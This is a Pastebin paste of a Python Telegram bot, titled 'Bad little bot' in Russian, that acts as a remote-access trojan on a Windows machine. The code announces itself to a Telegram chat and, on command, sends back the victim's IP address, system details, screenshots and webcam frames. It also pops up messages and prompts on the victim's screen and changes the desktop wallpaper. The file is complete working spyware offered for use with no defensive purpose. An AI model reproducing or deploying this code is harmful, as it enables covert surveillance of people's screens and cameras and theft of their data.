Advertisement
Fsoky

Плохой ботик | Fsoky

Feb 12th, 2021
2,518
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.20 KB | None | 0 0
  1. import telebot
  2. from telebot import types
  3. import requests
  4. import cv2
  5. import ctypes
  6. import pyautogui as pag
  7. import platform as pf
  8. import os
  9.  
  10. TOKEN = ""
  11. CHAT_ID = ""
  12. client = telebot.TeleBot(TOKEN)
  13.  
  14. requests.post(f"https://api.telegram.org/bot{TOKEN}/sendMessage?chat_id={CHAT_ID}&text=Online")
  15.  
  16.  
  17. @client.message_handler(commands=["start"])
  18. def start(message):
  19.     rmk = types.ReplyKeyboardMarkup(resize_keyboard=True)
  20.     btns = ["/ip", "/spec", "/screenshot", "/webcam",
  21.             "/message", "/input", "/wallpaper"]
  22.  
  23.     for btn in btns:
  24.         rmk.add(types.KeyboardButton(btn))
  25.  
  26.     client.send_message(message.chat.id, "Выберите действие:", reply_markup=rmk)
  27.  
  28.  
  29. @client.message_handler(commands=["ip", "ip_address"])
  30. def ip_address(message):
  31.     response = requests.get("http://jsonip.com/").json()
  32.     client.send_message(message.chat.id, f"IP Address: {response['ip']}")
  33.  
  34.  
  35. @client.message_handler(commands=["spec", "specifications"])
  36. def spec(message):
  37.     msg = f"Name PC: {pf.node()}\nProcessor: {pf.processor()}\nSystem: {pf.system()} {pf.release()}"
  38.     client.send_message(message.chat.id, msg)
  39.  
  40.  
  41. @client.message_handler(commands=["screenshot"])
  42. def screenshot(message):
  43.     pag.screenshot("000.jpg")
  44.  
  45.     with open("000.jpg", "rb") as img:
  46.         client.send_photo(message.chat.id, img)
  47.  
  48.  
  49. @client.message_handler(commands=["webcam"])
  50. def webcam(message):
  51.     cap = cv2.VideoCapture(0)
  52.  
  53.     for i in range(30):
  54.         cap.read()
  55.  
  56.     ret, frame = cap.read()
  57.  
  58.     cv2.imwrite("cam.jpg", frame)
  59.     cap.release()
  60.  
  61.     with open("cam.jpg", "rb") as img:
  62.         client.send_photo(message.chat.id, img)
  63.  
  64.  
  65. @client.message_handler(commands=["message"])
  66. def message_sending(message):
  67.     msg = client.send_message(message.chat.id, "Введите ваше сообщение, которое желаете вывести на экран.")
  68.     client.register_next_step_handler(msg, next_message_sending)
  69.  
  70.  
  71. def next_message_sending(message):
  72.     try:
  73.         pag.alert(message.text, "~")
  74.     except Exception:
  75.         client.send_message(message.chat.id, "Что-то пошло не так...")
  76.  
  77.  
  78. @client.message_handler(commands=["input"])
  79. def message_sending_with_input(message):
  80.     msg = client.send_message(message.chat.id, "Введите ваше сообщение, которое желаете вывести на экран.")
  81.     client.register_next_step_handler(msg, next_message_sending_with_input)
  82.  
  83.  
  84. def next_message_sending_with_input(message):
  85.     try:
  86.         answer = pag.prompt(message.text, "~")
  87.         client.send_message(message.chat.id, answer)
  88.     except Exception:
  89.         client.send_message(message.chat.id, "Что-то пошло не так...")
  90.  
  91.  
  92. @client.message_handler(commands=["wallpaper"])
  93. def wallpaper(message):
  94.     msg = client.send_message(message.chat.id, "Отправьте картинку или ссылку")
  95.     client.register_next_step_handler(msg, next_wallpaper)
  96.  
  97.  
  98. @client.message_handler(content_types=["photo"])
  99. def next_wallpaper(message):
  100.     file = message.photo[-1].file_id
  101.     file = client.get_file(file)
  102.     dfile = client.download_file(file.file_path)
  103.  
  104.     with open("image.jpg", "wb") as img:
  105.         img.write(dfile)
  106.  
  107.     path = os.path.abspath("image.jpg")
  108.     ctypes.windll.user32.SystemParametersInfoW(20, 0, path, 0)
  109.  
  110.  
  111. client.polling()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement